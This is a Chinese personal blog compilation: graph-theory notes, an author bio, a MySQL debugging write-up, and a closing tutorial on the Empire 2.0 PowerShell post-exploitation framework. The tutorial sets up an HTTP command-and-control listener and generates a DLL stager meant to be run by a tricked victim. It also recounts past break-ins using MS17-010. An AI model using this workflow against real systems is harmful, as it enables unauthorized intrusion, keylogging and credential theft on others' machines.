链写作$P_n$, 恰好构成一条简单路径.呈链状. 可以认为是一个圈图去掉一个边使其收尾不相连.

超方体(Hyperwürfel)

方格图(Gittergraph)

邻域和度(Nachbarschaft und Knotengrad[engl. Neighborhood and degree])

对于图G=(V,E)的一个点v我们如此定义邻域$\Gamma(v)$:

$\Gamma(v):={ u \in V | { u,v} \in E }$

而对于度,如此定义:

$deg(v) := |\Gamma (v)|$

而对于任意的图,所有点的度数之合是边的两倍:$\sum _{v\in V}\deg(v)=2|E|$
奇数度数的顶点的数量为偶数,握手定理

对于这张图:

$\Gamma(1) = { 5,2}$
$deg(v) = 2$
$\Gamma(4) = { 3,5,6}$$
$deg(4) = 3$

一些定义

端点 (Endknoten [engl. End-vertex])

对于一个边$e={ u,v} \in E$,u和v被成为e的端点.(对于有向图同样适用,只不过根据方向两个端点被分为起点和终点)

相邻(Adjazent [engl. Adjacent])

两个顶点${u,v} \in E$ 被称为相邻.即两个被一条边连接起来的顶点,他们之间的关系是相邻的.

关联(Inzident [engl. Incident])

如果v是边e的一个端点,那么这个顶点和边的关系叫做关联.

注意!相邻是两个点的关系,而关联是点和边的关系!

通路及相关定义

这里是图论命名和翻译混乱的地方.尤其是我还要理清三种语言里的概念,可能读起来令人头晕.

通路/途径 (Wege [engl. Path/Walk])

在德国教材中定义:通路是一个长度为$l. l \in \mathbb{N}$的序列,表示为$W = (v0,v_1,…v_l),v\in V$的序列.(${ v_i,v{i+1} } \in E, i =0,\dots,l-1$)

其中v0是起点(Anfangsknoten),vl是终点(Endknoten).

Pfad

这个概念我不知道如何翻译

指一个Weg(通路/途径),其中所有顶点均不同.

(相比于中文/英文资料均不同. 不是中文路径/通路(Path),在此处不允许出现回路)

Kreise

这里和中文的圈或者环,也不是circuit或者cycle,略有出入

指一个序列,长度为l且l大于等于3,首尾相邻,且边不重复,注意,有向图的Kreise是不需要有长度限制的

写做$C=(v1, \dots , v_l),\quad { v_1, v_l} \in E \quad and \quad { v_i, v{i+1}} \in E, for all \quad i=1,\dots l-1$

对,这里的序列首尾根本不是同一个点

这些三个语言的定义都不太一样. ~~地理隔离导致生殖隔离了?~~

文献混乱的定义整理

在GRAPH THEORY WITH APPLICATIONS( J.A Bondy and U.S.R. Murty )中的定义如下:

A walk in G is a finite non-null sequence W = v0 e1 v1 e2 v2… ek vk, whose terms are alternately vertices and edges,

If the edges e1,e2,….,ek of a walk W are distinct, W is called a trail.

In addition. the vertices v0,v1,…,vk are distinct, W is called a path.

在 《离散数学及其应用》中通路(Path)在图并非简单图时使用点边交错序列, 在简单图中使用纯顶点序列(因为简单图两点之间边唯一)

若通路(Path)起点终点在相同顶点上,并且长度大于0,那么称为回路(circuit)

如果回路没有重复顶点和边那么称为简单(simple)这样的路径为简单路径(simple path)这样的回路称为简单回路(simple circuit),(我自己注明,这个简单回路概念有些地方还叫做环或者是圈这类的东西)

子图 (Teilgraph [engl. subgraph])

德语中名字很多:Teilgraph oder Untergraph oder Subgraph

设存在图$H=(V_H,E_H),G=(V_G,E_G)$

当$V_H\subseteq V_G$ 并且 $E_H \subseteq E_G$

那么H就是G的子图

导出子图/诱导子图 ( induzierten Teilgraphen [engl. Induced subgraph])

接着子图的定义,如果:

$E_H = E_G \cap { { v_1,v_2} | v_1 \in V_H, v2 \in V_H }$

便是诱导子图. 这个定义看着有点迷糊,诱导子图就是:一个子图,它剩下的那些点之间的边,如果原图有,那么它也要有.

连通图(Zusammenhängende Graphen [engl. Connected graph])

指对于任意两个不同顶点,都存在通路的图

$G=(V,E)\quad u,v \in V,u \neq v$

连通分量(Zusammenhangskomponente [engl. connected component])

在无向图中G的子图H,在:

H是连通的
G没有别的连通的子图连通且包含H

时被称为连通分量.

这是wiki的图,能看出来这张非连通图的V和W两点不通. 有两个连通分量.

这两个连通分量就是上面一大块和下面一大块,首先,他们之中的每个点是连通的,其次,他们是最大的子图.

所以连通图的连通分量是它自身

一些相关定理

一张图G=(V,E)至少有 |V|-|E|个连通分量.
对于每个连通图G=(V,E)都有$|E|\ge |V|-1$

多重图(Multigraphen [engl. Multigraph])

(也有称为伪图pseudograph)

就是有多重边的图(两个顶点之间边不唯一),有时候也会在边上加一个数字表示.

如下图,来源于柯尼斯堡问题.

柯尼斯堡七桥问题,欧拉通路和欧拉回路(Eulerwege und Eulerkreise)

这个问题不得不提那个柯尼斯堡七桥(现在是加里宁格勒)问题

如图,简而言之,如何每个桥只走一遍,走完所有的桥?

欧拉通路(Eulerwege)

引申自柯尼斯堡七桥问题,欧拉通路是一种

边不重复的通路(个人觉得类似于GRAPH THEORY WITH APPLICATIONS( J.A Bondy and U.S.R. Murty )中的trail概念)
遍历了图中所有边

欧拉回路(Eulerkreise)

类似于欧拉通路,欧拉回路:

一个kreise
包含图中所有边

两者区别

其实就是有没有回到原点.在有些图里,存在欧拉通路,但是不存在欧拉回路.在离散数学及其应用中出现过例子

回到柯尼斯堡

经过欧拉通路和欧拉回路的定义,那么柯尼斯堡七桥问题就是:是否存在欧拉通路?

欧拉回路充要条件:如果G=(V,E)是一个连通图, 如果要存在欧拉回路,那么所有的顶点度数必为偶数.(因为每次遍历到这个点的时候,入度+1,出度+1,遍历一次总共+2所以必为偶数)
欧拉通路充要条件:如果G=(V,E)是一个连通图, 除了欧拉回路存在情况以外(所有顶点度数为偶数),也可以有两个顶点度数为奇数(奇数两个点分别是起点和终点.因为奇数顶点作为起点比别的顶点多了一个出度,终点比别的顶点多一个入度.所以deg+1,在正常遍历点数+2的情况下偶数加奇数,结果必为奇数.)

哈密顿通路和哈密顿回路(Hamiltonwege und Hamiltonkreise)

来自哈密顿问题

和欧拉通路和欧拉回路相似,
只不过哈密顿通/回路是遍历所有点且不重复.

然而这个问题目前是NPC问题,所以目前还没有像欧拉通/回路一样简单的判断方法.

和超方体联系

任何一个层数大于等于3的超方体都存在一个哈密顿回路.

有向图(Gerichtete Graphen [engl. Directed graph])

(Digraph)

在我先在用的教材里,有向图使用一个二元组D表示.D=(V,A),此处V是一个表示所有顶点的非空集合.集合A:$A \subseteq V \times V$用二元组表示有向的边(engl. Arcs)

如图,比如(3,2)就是一条边.

入度和出度(Eingagsgrad und Ausgangsgrad)

一个顶点,有几个指向它的边就有一个入度,指出多少个边就有多少出度.

入度 $indeg(v) := | { u \in V| (u,v) \in A} |$
出度 $outdeg(v):= | { u \in V | (v,u) \in A } |$

所以对于每个有向图入度等于出度

$\sum{v \in V} indeg(v) = \sum{v \in V} outdeg(v)$

而indeg(v)+outdeg(v)也被称为v的度数(Grad [engl. degree])

自环(Schleifen [engl. loop])

假设上图中如果有(3,3)这样自己指向自己的边,那么这个叫做自环.(好像没有在无向图提到)

有向无环图: DAG (Kreisfreie Graphen [engl. directed acyclic graph])

这里的Kreis和之前定义不同之处在于,长度不必大于等于3.也就是说,两个元素互相指着对方也是一个Kreis.我们称之为环

比如一个图a,b互相指向对方,那么(a,b)(b,a)都是环.

而DAG就是指没有环的图.

拓扑排序(Topologische Sortierung [engl. topological ordering])

拓扑逻辑是一个带有|V| = n的有向图D=(V,A)的双射函数s:V→{1,….,n}

对于所有边$(u,v) \in A , s(u)<s(v)$

当一个有向图没有环的时候必有拓扑排序.所以,有且仅有DAGs存在拓扑排序.

拓扑排序可以描述一个线性任务顺序. 每个任务(顶点)指会出现一次,如果A在B之前,那么不存在B到A的路径.

画图的时候可以找出没有入度,出度多的点放在最前面开始,没有出度的放在最后. 有一些算法解决这个问题但是这里就不说了.

德语Wiki的解释很有趣,比英文的好玩.这是一次起床穿衣的拓扑排序.无论如何,内裤得先穿上,再穿裤子.咱不是超人,对吧.

基图(Zugrunde liegender Graph)

每个有向图都可以转换成一个无向图:

每个边(u,v),u不等于v,转换为无向的{u,v}
删除掉自环
把多重边替换成为单边

此时的无向图就是原本有向图的基图 zugrunde liegende ungerichtete Graph.

有向图的连通(Zusammenhängende gerichtete Graphen)

强连通 (stark zusammenhängend)

当D=(V,A)中每一对不同的顶点之间都存在Pfad,那么便称为强连通.

弱连通 (schwachzusammenhängend)

如果有向图D的基图G是连通图,那么D就是弱连通图.

树的图论笔记在这里,可以继续阅读:图论:形形色色的树和森林

图论:形形色色的树和森林

1609684290

前言

这部分整理了图论中的树,森林,匹配,着色,二叉树之类的基本概念.其实应该和上一笔记是整体.
如果遇到看不懂的部分,请阅读图论:从无向图到有向图基础笔记
其它前言废话也见上一篇笔记.

树和森林 (Bäume und Wälder)

树和森林的一些定义

树是一个连通的,无环的图. 一个森林是存在连通分量的图,其连通分量是树.

我们把树写为: T=(V,E)

而一个树中的带有度数为1的节点v被成为叶(Blatt),而一个|V|>=2的树图去掉叶节点依旧是树.

每个带有|V|>=2的树T=(V,E)至少存在两个叶节点.
树 T=(V,E) 存在 |E| = |V| - 1 (可用反证法证明,利用上一点)

图中红色节点度数为1, 称为叶(Blatt). 图中蓝色为根(wurzel), 黄色为半叶(Halbblatt), 绿色为内部节点(innerer Knoten)

生成树 (Spannbaum [engl. Spanning tree])

设$V=(V_G,E_G)$是一个连通图,一个G的树子图$T = (V_T, E_T)$,当$V_T=V_G\;and\; E_T \subseteq E_G$时,被称为生成树.

简单的说,就是一个覆盖了G的全部顶点,边数最少的图(树)

任何一个连通图都存在生成树

最小生成树 (Minimale Spannbäume [engl. minimum spanning tree])

我们先来看看一张图的权重:就是这张图内所有边的权重之合:

此时我们给图G的边带上权值(通过函数)$m: E \to \mathbb{N}$, $H=(VH,E_H)$是G的子图,那么H的权重为:$w(H):=\sum{e \in E_H} m(e)$

好,让我们设G=(V,E)是一个边带有权重连通图. 当此时G中存在一个权重最小的树T,那么该T就是G的最小生成树:

$W(T) = min(w(T))$

匹配 (Matchings)

一个图是一个匹配（或称独立边集）是指这个图之中，任意两条边都没有公共的顶点。这时每个顶点都至多连出一条边，而每一条边都将一对顶点相匹配。(Wiki)

设G是一个图,那么$M \subseteq E(G)$满足$\forall e_i,e_j \in M$,$e_i,e_j$ 在G中不是相邻关系,则称M是G的一个匹配

完美匹配(perfektes Matching)

简单的说这个点集M包含了G中所有的顶点,叫做完美匹配.

二分图(Bipartite Graphen)

一个无向图G在其顶点集合V可以本拆分成为两个不想交的子集A和B,且边都只连接A和B中的点时,我们称之为二分图.

对于这种非相交的集合A和B的合并,写做$A\biguplus B$,于是一个二分图可以写做$G=(A \biguplus B,E)$

接下来会提到二分图着色,匹配的问题.

定理在这里先提一下,免得找不到:

一个图,如果可以二着色,那么它就是二分图.
一个图,如果不包含奇数长度环的子图,那么它就是二分图.

二分图的匹配问题

$G=(V,E), X \subseteq V$
$\Gamma(X):= \bigcup_{v\in x} \Gamma(v)$被成为X点集的邻域

对于一个二分图$G=(A \biguplus B,E)$,当G存在 $|\Gamma(X)| \ge |X|,for\;all\; X \subseteq A$ 存在$|M|=|A|$

点着色 (Knotenfärbungen von Graphen [engl. ])

一个图的点着色可以看做一个带有k色的图G=(V,E)的函数$c: V\to { 1,\dots ,k }$,有:

$c(u) \neq c(v)$对于所有边${ u,v }\in E$

即对于所有的点上色,使相邻的点颜色不同.

色数 (chromatische Zahl )

一个图的色数常被写做$\chi (G)$,也就是最少需要多少不同的颜色能进行点着色.当 $\chi (G) \leq k$时,~~我们称为:G k-färbbar~~我们称为G可以k着色

二分图和着色之间的结论

一个图,如果可以二着色,那么它就是二分图.
一个图,如果不包含奇数长度环的子图,那么它就是二分图.

有向树(Wurzelbäume [engl. Rooted tree])

(oder auch gerichteter Baum)

不知道中文是不是叫这个

但是看英文名就知道,这种树已经有一个节点被钦点成为根节点.

和无向树不同,无向树任意节点都可以被认为是根.其实还能大概分出Out-Trees和In-Trees这里姑且详细研究了.(貌似没多少教材提,懒)

这是一个有向(gerichteter),无循环的(azyklischer)图.
其中会有一个点w的入度为0
其它节点入度均为1

节点w被成为根节点,出度为0的节点被成为叶节点.

还可以从无向树开始定义,一个有向树为一个二元组(T,w),T是无向树,w作为根.对于T中每一个节点$v\in V$都存在唯一一个Pfad使w到v.(Pfad指顶点不同的通路,详细定义见前面的文章)在让所有Pfad的方向从w指向v.

基本概念

现在把这个树想做一个家族族谱,再想一个非根,非叶节点存在:

祖先(Vorgänger)[ascendant]: 在同一条途径上,更接近根节点的那个
父节点(Vater): 相邻的祖先节点
子嗣,子孙(Nachfolger)[descendant]:在到叶节点同一途径上更接近叶的那个
子节点(Kind)[Child]: 相邻子孙节点

树的高度(Höhe von Bäumen)

一棵树的高度是最长的那个从根到叶途径的长度.~~我严重怀疑这个规矩是德国人定的~~

高度,层数,深度,不是一个概念,容易乱

某个点的高度是:

那个点所在的,
从根到叶的,
最长的途径,

以叶高度为0,向着根节点递增.

比如”基本概念”下的那张图,右侧有三个子节点的节点,它的高度算1.整个树高为3

深度是倒过来的高度. 层,根就是第一层,往下递增.

二叉树 (Binärbäume)

一个二叉树是一个有根图,每个节点最多只能有两个子节点.

完全二叉树 (vollständiger Binärbaum)

每一个非叶节点必须要有两个子节点
每条途径必须一样长

也就是说在限定高度内,是对称挂满了子节点的

可以归纳证明一个完全二叉树,当其高度为h时存在$2^h$个叶,$2^{h+1}-1$个节点

Termnotation und Baumdarstellung

表达式我们平时使用的是中缀表达式,操作符位于操作数之间

前缀表达式(Präfixform)对应先序遍历

F, B, A, D, C, E, G, I, H.

中缀表达式(Infixnotation)对应中序遍历

A, B, C, D, E, F, G, H, I.

后缀表达式(Postfixform)对应后序遍历

A, C, E, D, B, H, I, G, F.

关于我:画像

1609794336

画像

(English version is here…)

你好啊.欢迎来到这座孤岛.

不想透露太多具体信息,我依旧是一个学生(CS在读).一个失败品.

我不太聪明, 也不太会讲话. 花了十多年慢慢学会不做哑巴,如今,却正在学着如何闭嘴.

童年被欺负的是不会说话的人,成年后被欺负的是不知道该闭嘴的人.

我喜欢技术, 小学的时候开始自学VB, 玩灰鸽子这样的远控, 还有阿D明小子, 而后接触了Linux. 在12岁的时候成了一个脚本小子, 拿着抓包工具, sqlmap, metasploit这些工具在16岁之前捅了一堆小篓子, 也在乌云补天提交过一些web漏洞, hack过一些硬件. 如今, 多多少少疯狂又中二的那些事情我也不想再谈.

依旧有很多不足: 依旧需要学习, 不仅是不再当脚本小子, 还要学如何活着.

我意识到我是如此普通, 和这颗星球诞生后的某场雨中的一滴水一样.

2016年,建立了这个博客.但是如今看来,很多当时的文章不是没有意义,就是不应该发出来.于是在2020年,在迁移的时候把它们归档了一下,就不放出来了.如今,博客就是耸立在商业化社区信息中的,可怜的孤岛.

2018年去实习,说真的,这更加确认了我的想法: 光凭技术不能改变世界,只能让你在没被淘汰之前,作为一个饿不死的工具人.

喜欢音乐,曾经学了很多年乐器.喜欢化学, 喜欢生物, 喜欢电气. 我喜欢那些迷人的东西. 也很敢动手. 如果我有机会在大学学习一辈子, 那我真的不想出来.

不多说了
如今我已经二十出头了.
一个人在外,一个人生活.像是TV-noise一样.

2020年的一个晚上彻夜没睡,通宵调试一个demo.坐了6个小时火车推销它,被拒.在候车室外面看见同龄人在开生日Party,
醒了三十多个小时的绷着的大脑哪里突然崩裂,一根触手弹出,碰到了深处某些埋藏着依旧痛着的疮.情绪突然崩溃.在火车站外面拐角的阴影下蹲着抽了半包烟.

我不知道我在做什么,为什么.
和我现在一样,在深夜里和一个假设的读者讲着故事.

好的,对比2016年的我,
咖啡因,尼古丁严重成瘾.
难以快乐.

而这个域名看见了我的成长.

这就是我,休止千鹤.
一个INTP,一团TV-noise,一位半透明的Nerd.

感谢你光临这个荒岛.

前路坎坷.共勉.

xiuno 出现Server Response Empty! 错误捉虫记

1609795941

本文章是2018年写的,觉得挺有趣就从备份里翻来了
当时在用Xiuno搭建论坛.物是人非.因为某些原因,xiuno就这样默默消失了.
而我当时正好在实习.遇到这个问题顺手写了调试记录.

正文

很有没有写文章了。感觉也没啥好写的。博客偶尔出故障上来看看折腾下，故障拖久了bai度居然还把我删了。最近在布置论坛的问题。在服务器上布置的很好，一点问题都没有。xiuno4就跑起来了。但是这几天我想在自己的Manjaro上(打肿脸充Arch其实这是祸根
部署xiunobbs，在设置数据库时却遇到了Server Response Empty! 报错诶这就很讨厌……但是貌似不止我一个人这么倒霉，去搜了一下。别人建议换服务商,,诶大兄弟我自己开发环境您要我换电脑？好吧，开始干活。

等不及的，请直接去最后看解决方案.

正文开始

机器也没有xdebug。手动进去，进install/index.php打断点。发现install_sql_file()这里断了。跟进去，这个函数是拆分install.sql导入数据库建立表结构的。

function install_sql_file($sqlfile) {
    global $errno, $errstr;
    $s = file_get_contents($sqlfile);
    $s = str_replace(";\r\n", ";\n", $s);
    //$s = preg_replace('/#(.*?)\r\n/i', "", $s);
    $arr = explode(";\n", $s);
    foreach ($arr as $sql) {
        $sql = trim($sql);
        if(empty($sql)) continue;
        $arr = explode(";\n", $s);
        db_exec($sql) === FALSE AND message(-1, "sql: $sql, errno: $errno, errstr: $errstr");
    }
}

手打断点。

db_exec($sql) === FALSE AND message(-1, "sql: $sql, errno: $errno, errstr: $errstr");

到了这句。

很明显，只有db_exec返回bool(false)才会触发。于是我试了一下子，诶？返回的int(0)然而不能触发。折腾了半天，突然想起这是一个循环。

跟进db_exec函数，看看它怎么写的：

// 如果为 INSERT 或者 REPLACE，则返回 mysql_insert_id();
// 如果为 UPDATE 或者 DELETE，则返回 mysql_affected_rows();
// 对于非自增的表，INSERT 后，返回的一直是 0
// 判断是否执行成功: mysql_exec() === FALSE
function db_exec($sql, $d = NULL) {
    $db = $_SERVER['db'];
    $d = $d ? $d : $db;
    if(!$d) return FALSE
    DEBUG AND xn_log($sql, 'db_exec')
    $n = $d-&gt;exec($sql)
    db_errno_errstr($n, $d, $sql);
    return $n;
}

哦？继续打断点，当即对$n进行输出。

nt(0)
int(0)
string(1) "1"
int(0)
int(0)
string(1) "0"
string(1) "0"
string(1) "0"
string(1) "0"
string(1) "0"
string(1) "0"
string(1) "0"
string(1) "0"
string(1) "0"
string(1) "0"
string(1) "0"
string(1) "0"
int(0)
bool(false)

最后一个……我，看见你了。鬼头鬼脑的东西。

这里的false触发了message函数，然而message函数在参数为-1情况下会exit。然而并没有$errno, $errstr。所以返回empty。

这很可能是出错但是没有返回任何错误信息！！

带着返回值和$sql一起输出看看，，很容易就发现了这句:

CREATE TABLE bbs_forum (               
  fid int(11) unsigned NOT NULL auto_increment,      # fid
 # fup int(11) unsigned NOT NULL auto_increment, # 上一级版块，二级版块作为插件
  name char(16) NOT NULL default '',         # 版块名称
  rank tinyint(3) unsigned NOT NULL default '0',    # 显示，倒序，数字越大越靠前
  threads mediumint(8) unsigned NOT NULL default '0',   # 主题数
  todayposts mediumint(8) unsigned NOT NULL default '0',# 今日发帖，计划任务每日凌晨０点清空为０，
  todaythreads mediumint(8) unsigned NOT NULL default '0',# 今日发主题，计划任务每日凌晨０点清空为０
  brief text NOT NULL,                 # 版块简介 允许HTML
  announcement text NOT NULL,              # 版块公告 允许HTML
  accesson int(11) unsigned NOT NULL default '0',   # 是否开启权限控制
  orderby tinyint(11) NOT NULL default '0',      # 默认列表排序，0: 顶贴时间 last_date， 1: 发帖时间 tid
  create_date int(11) unsigned NOT NULL default '0',    # 板块创建时间
  icon int(11) unsigned NOT NULL default '0',       # 板块是否有 icon，存放最后更新时间
  moduids char(120) NOT NULL default '',     # 每个版块有多个版主，最多10个： 10*12 = 120，删除用户的时候，如果是版主，则调整后再删除。逗号分隔
  seo_title char(64) NOT NULL default '',        # SEO 标题，如果设置会代替版块名称
  seo_keywords char(64) NOT NULL default '',     # SEO keyword
  PRIMARY KEY (fid)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci

这里反回错误。明显，建立表bbs_forum失败了。赶快去mysql看看。

+------------------+
| Tables_in_xiuno  |
+------------------+
| bbs_attach       |
| bbs_cache        |
| bbs_forum_access |
| bbs_group        |
| bbs_kv           |
| bbs_modlog       |
| bbs_mypost       |
| bbs_mythread     |
| bbs_post         |
| bbs_queue        |
| bbs_session      |
| bbs_session_data |
| bbs_table_day    |
| bbs_thread       |
| bbs_thread_top   |
| bbs_user         |
+------------------+

果然这样！没有bbs_forum！！

于是拖进mysql执行试试。

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘rank tinyint(3) unsigned NOT NULL default ‘0’,

threads mediumint(8) unsigned N’ at line 5

发现错误。rank关键字污染。

原因找到了:

因为我用的Manjaro是Arch源，Arch源特性是软件都是新版本。结果我安装的就是:Server version: 8.0.12 MySQL Community Server (GPL)

这个版本和前面的版本有很多变化。

估计是rank成了关键字

那么解决方法也简单，用``区别就行，把rank改成`rank`.

解决方案

进install/install.sql，修改bbs_forum表结构如下:
<pre class="lang:mysql decode:true ">CREATE TABLE bbs_forum (                
  fid int(11) unsigned NOT NULL auto_increment,        # fid
 # fup int(11) unsigned NOT NULL auto_increment,    # 上一级版块，二级版块作为插件
  name char(16) NOT NULL default '',            # 版块名称
  `rank` tinyint(3) unsigned NOT NULL default '0',    # 显示，倒序，数字越大越靠前
  threads mediumint(8) unsigned NOT NULL default '0',    # 主题数
  todayposts mediumint(8) unsigned NOT NULL default '0',# 今日发帖，计划任务每日凌晨０点清空为０，
  todaythreads mediumint(8) unsigned NOT NULL default '0',# 今日发主题，计划任务每日凌晨０点清空为０
  brief text NOT NULL,                    # 版块简介 允许HTML
  announcement text NOT NULL,                # 版块公告 允许HTML
  accesson int(11) unsigned NOT NULL default '0',    # 是否开启权限控制
  orderby tinyint(11) NOT NULL default '0',        # 默认列表排序，0: 顶贴时间 last_date， 1: 发帖时间 tid
  create_date int(11) unsigned NOT NULL default '0',    # 板块创建时间
  icon int(11) unsigned NOT NULL default '0',        # 板块是否有 icon，存放最后更新时间
  moduids char(120) NOT NULL default '',        # 每个版块有多个版主，最多10个： 10*12 = 120，删除用户的时候，如果是版主，则调整后再删除。逗号分隔
  seo_title char(64) NOT NULL default '',        # SEO 标题，如果设置会代替版块名称
  seo_keywords char(64) NOT NULL default '',        # SEO keyword
  PRIMARY KEY (fid)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;</pre>
其实就是rank加了两个点...

~~原文名xiunoBBS出现 Server Response Empty! 错误捉虫记~~标题改了改

Empire2.0，powershell后渗透利器的安装和试用

1609852630

本文来自老博客,2017年5月. 现情况可能有变化.当时系统内置python版本默认是python2.7,整理时候对原文做出了一定语言表述上的修改.

当时正好在MS17010后不久,Empire配合MS17010的exp让我在当时打透了不少内网(scriptkid).然而这篇文章仅仅做了介绍试用而已.

注意: 物是人非,刚刚看了评论,去Empire项目看了看发现已经停止更新.

杂七杂八的前言

也就是前几天的事情吧，弄完了一堆又一堆的东西(比如rpi装msf配置数据库啊,nfc弄饭卡什么的)。偶然发现了一个神器:Empire

这家伙完全利用powershell做很多事情，避开检测,可以监听键盘，Mimikatz也在其中。是一个很牛逼的框架。

(本文为安装试用，以介绍为主，老司机可以关掉节省宝贵的时间学习别的东西)

那么我们今天就装一下并且看看是如何进行攻击的。

引用一段官网介绍:

Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.

Empire官网

↑官网链接过来的图，帅帅的是不是？

这肯定又是在树莓派上装了。毕竟只有这个算是一个好的节能服务器了。对，还是osmc。现在已经成为一个渗透工具了。（题外话:最近淘了一个orange pi，打算做一个移动的渗透工具。做好了说不定也写一篇）

安装&解决问题

（如果你已经装上了就跳过这一段）

官网直接转去github

git clone https://github.com/EmpireProject/Empire.git
cd Empire/
cd setup/
//./install.sh
 [!]This script must be run as root
//233
sudo ./install.sh

回到上一个目录 ./empire运行出了岔子，缺少OpenSSL,pip install 然后pip报错(莫名其妙)

Traceback (most recent call last):
  File "/usr/bin/pip", line 9, in &lt;module&gt;
    load_entry_point('pip==1.5.6', 'console_scripts', 'pip')()
  File "/usr/lib/python2.7/dist-packages/pkg_resources.py", line 356, in load_entry_point
    return get_distribution(dist).load_entry_point(group, name)
  File "/usr/lib/python2.7/dist-packages/pkg_resources.py", line 2476, in load_entry_point
    return ep.load()
  File "/usr/lib/python2.7/dist-packages/pkg_resources.py", line 2190, in load
    ['__name__'])
  File "/usr/lib/python2.7/dist-packages/pip/__init__.py", line 74, in &lt;module&gt;
    from pip.vcs import git, mercurial, subversion, bazaar  # noqa
  File "/usr/lib/python2.7/dist-packages/pip/vcs/mercurial.py", line 9, in &lt;module&gt;
    from pip.download import path_to_url
  File "/usr/lib/python2.7/dist-packages/pip/download.py", line 25, in &lt;module&gt;
    from requests.compat import IncompleteRead
ImportError: cannot import name IncompleteRead

(这里在2021年重新整理一下,当年废话太多了)
重新装了pip解决.
顺便安装依赖

sudo apt-get remove python-pip
sudo apt-get autoremove
sudo easy_install pip
sudo pip install pyopenssl netifaces zlib-wrapper

然后这才打开了Empire。确切的说是Empire2.0

================================================================
 [Empire]  Post-Exploitation Framework
================================================================
 [Version] 2.0 | [Web] https://theempire.io
================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       267 modules currently loaded

       0 listeners currently active

       0 agents currently active


(Empire) >

简单的使用演示

由于是2.0，操作和之前版本还是有去别的。摸索了半天。

这里的listeners就是MSF的监听。一样的。Agents相当于MSF的会话sessions。理清这个基本概念就好做事了。

我们的目标是让Rpi打开监听，协议http。然后生成一个dll载荷，生成一个powershell命令。诱骗目标执行(也可以用Badusb总之就是要执行一个命令)。

建立listener

(Empire) > listeners
[!] No listeners currently active 
(Empire: listeners) &gt; help

Listener Commands
=================
agents            Jump to the Agents menu.
back              Go back to the main menu.
exit              Exit Empire.
help              Displays the help menu.
info              Display information for the given active listener.
kill              Kill one or all active listeners.
launcher          Generate an initial launcher for a listener.
list              List all active listeners (or agents).
main              Go back to the main menu.
uselistener       Use an Empire listener module.
usestager         Use an Empire stager.

(Empire: listeners) &gt; uselistener 
dbx           http          http_com      http_foreign  http_hop      meterpreter     
(Empire: listeners) &gt; uselistener http
(Empire: listeners/http) &gt; info

    Name: HTTP[S]
Category: client_server

Authors:
  @harmj0y

Description:
  Starts a http[s] listener (PowerShell or Python) that uses a
  GET/POST approach.

HTTP[S] Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        http                             Name for the listener.
  Launcher          True        powershell -noP -w 1 -enc        Launcher string.
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  StagingKey        True        NLgp2rGjSu}k%RlUc*{zF:aKDCn[qev~ Staging key for initial agent negotiation.
  BindIP            True        0.0.0.0                          The IP to bind to on the control server.
  DefaultProfile    True        /admin/get.php,/news.php,/login/ Default communication profile for the agent.
                                process.php|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  ServerVersion     True        Microsoft-IIS/7.5                Server header for the control server.
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  Host              True        http://192.168.0.101:89          Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  Port              True        89                               Port for the listener.


(Empire: listeners/http) &gt; set Name HttpListener
(Empire: listeners/http) &gt; execute
[*] Starting listener 'HttpListener'
[+] Listener successfully started!
(Empire: listeners/http) >;

生成载荷

一个main命令回来

(整理注:整理的命令含义)

userstager windows/ 下面是windows可用的载荷
我这里用了dll
用info命令查看载荷具体信息

set Listener HttpListener 用于设置回连的监听
set Arch x86 架构,我电脑比较破,32位选x86
execute 执行

================================================================
 [Empire]  Post-Exploitation Framework
================================================================
 [Version] 2.0 | [Web] https://theempire.io
================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       267 modules currently loaded

       1 listeners currently active

       0 agents currently active


(Empire) > usestager windows/
bunny         dll           ducky         hta           launcher_bat  launcher_sct  launcher_vbs  macro         teensy        
(Empire) > usestager windows/dll
(Empire: stager/windows/dll) > info

Name: DLL Launcher

Description:
  Generate a PowerPick Reflective DLL to inject with
  stager code.

Options:

  Name             Required    Value             Description
  ----             --------    -------           -----------
  Listener         True        http              Listener to use.
  ProxyCreds       False       default           Proxy credentials
                                                 ([domain\]username:password) to use for
                                                 request (default, none, or other).
  Proxy            False       default           Proxy to use for request (default, none,
                                                 or other).
  Language         True        powershell        Language of the stager to generate.
  OutFile          True        /tmp/launcher.dll File to output dll to.
  UserAgent        False       default           User-agent string to use for the staging
                                                 request (default, none, or other).
  Arch             True        x86               Architecture of the .dll to generate
                                                 (x64 or x86).
  StagerRetries    False       0                 Times for the stager to retry
                                                 connecting.


(Empire: stager/windows/dll) > set Listener HttpListener
(Empire: stager/windows/dll) > set Arch x86
(Empire: stager/windows/dll) > execute

[*] Stager output written out to: /tmp/launcher.dll

(Empire: stager/windows/dll) > listeners

[*] Active listeners:

  Name              Module          Host                                 Delay/Jitter   KillDate
  ----              ------          ----                                 ------------   --------
  HttpListener      http            http://192.168.0.101:89              5/0.0                      

